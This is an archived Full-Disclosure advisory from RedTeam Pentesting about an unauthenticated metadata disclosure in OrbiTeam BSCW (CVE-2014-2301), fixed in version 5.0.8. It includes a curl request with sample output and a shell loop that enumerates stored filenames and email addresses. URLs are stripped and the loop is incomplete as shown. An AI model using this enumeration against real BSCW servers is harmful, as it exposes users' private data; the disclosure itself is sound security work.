lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  PHC 
Open Source and information security mailing list archives
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Thu, 8 May 2014 13:09:12 +0200
From: RedTeam Pentesting GmbH <>
Subject: [FD] [RT-SA-2014-003] Metadata Information Disclosure in OrbiTeam

Advisory: Metadata Information Disclosure in OrbiTeam BSCW

RedTeam Pentesting discovered an information disclosure vulnerability in
OrbiTeam's BSCW collaboration software. An unauthenticated attacker can
disclose metadata about internal objects which are stored in BSCW.


Product: BSCW
Affected Versions: BSCW <=5.0.7
Fixed Versions: BSCW >=5.0.8
Vulnerability Type: Information Disclosure
Security Risk: medium
Vendor URL:
Vendor Status: fixed version released
Advisory URL:
Advisory Status: published
CVE: CVE-2014-2301


"The BSCW shared workspace system is the tool of choice for efficient
group collaboration. BSCW permits the creation of documents,
appointments, contacts, tasks and notes within shared workspaces.
Without having to install additional software, team members can access
this data around-the-clock, from anywhere in the world. Mission-critical
information is constantly available to all authorised personnel
regardless of location, ensuring that complex workflows can be
coordinated with minimal effort."

(from OrbiTeam's homepage)

More Details

BSCW uses the URL parameter "op" to select different functions of the
application. For example the password reset dialog can be used by
opening the following URL:

The server maps the value provided by the parameter "op" to locally
stored python modules which provide handler functions that are called to
generate HTTP responses. It was discovered that sensitive metadata about
internally stored objects of BSCW can be disclosed by using the "inf"

When opening the following URL, the filename of a document which
is identified by the value "12345" is disclosed in the response
sent by the server (output shortened):

$ curl --header 'Cookie: _pub_bscws="e4efb9e7ace7a12de82aa7a4aff1ab2a:1"' \
<table summary="" class="iTab" border="0" cellspacing="1" cellpadding="4" width="440">
    <tr valign="top">
      <td class="iLabel"  id="small"  width="88">Name</td>
      <td class="iValueB" width="352">Contract-XXXXX.doc</td>

The cookie used in the above command is generated by requesting the
login page of BSCW. It is not necessary to enter credentials.

By iterating over the ids which are assigned in ascending order,
attackers can enumerate the names of all objects stored in BSCW without
prior authentication. This includes filenames and email addresses.

Proof of Concept

When the following loop is run with a valid (but unauthenticated) BSCW
cookie, it will find names for the BSCW objects 10000 to 30000:

$ for id in `seq 10000 30000`; do
     filename = `curl --silent --header 'Cookie: _pub_bscws="COOKIE_COOKIE_COOKIE"' \
                "${id}?op=inf" | \
                grep "iValueB" | \
                sed -e 's;^.*<td class="iValueB" width="352">\(.*\)</td>.*$;\1;'`
     echo "${id}: ${filename}"


It may be possible to add another authentication layer, for example
HTTP-Authentication, to limit access to this BSCW information disclosure
to persons authorized to use BSCW anyway.


Update to version 5.0.8.

Security Risk

The risk is estimated to be medium. This vulnerability does not allow
attackers to access files stored in BSCW. They can however retrieve
filenames, which may be enough to draw conclusions about the
corresponding file contents, and other potentially sensitive data such
as email addresses.


2014-02-20 Vulnerability identified
2014-03-04 Customer approved disclosure to vendor
2014-03-06 CVE number requested and assigned
2014-03-07 Vendor notified
2014-03-10 Vendor acknowledges vulnerability
2014-04-22 Vendor released fixed version
2014-05-08 Advisory released

RedTeam Pentesting GmbH

RedTeam Pentesting offers individual penetration tests, short pentests,
performed by a team of specialised IT-security experts. Hereby, security
weaknesses in company networks or products are uncovered and can be
fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security related areas. The results are made available as public
security advisories.

More information about RedTeam Pentesting can be found at

RedTeam Pentesting GmbH                   Tel.: +49 241 510081-0
Dennewartstr. 25-27                       Fax : +49 241 510081-99
52068 Aachen          
Germany                         Registergericht: Aachen HRB 14004
Geschäftsführer:                       Patrick Hof, Jens Liebchen

Download attachment "signature.asc" of type "application/pgp-signature" (474 bytes)

Sent through the Full Disclosure mailing list
Web Archives & RSS:

Powered by blists - more mailing lists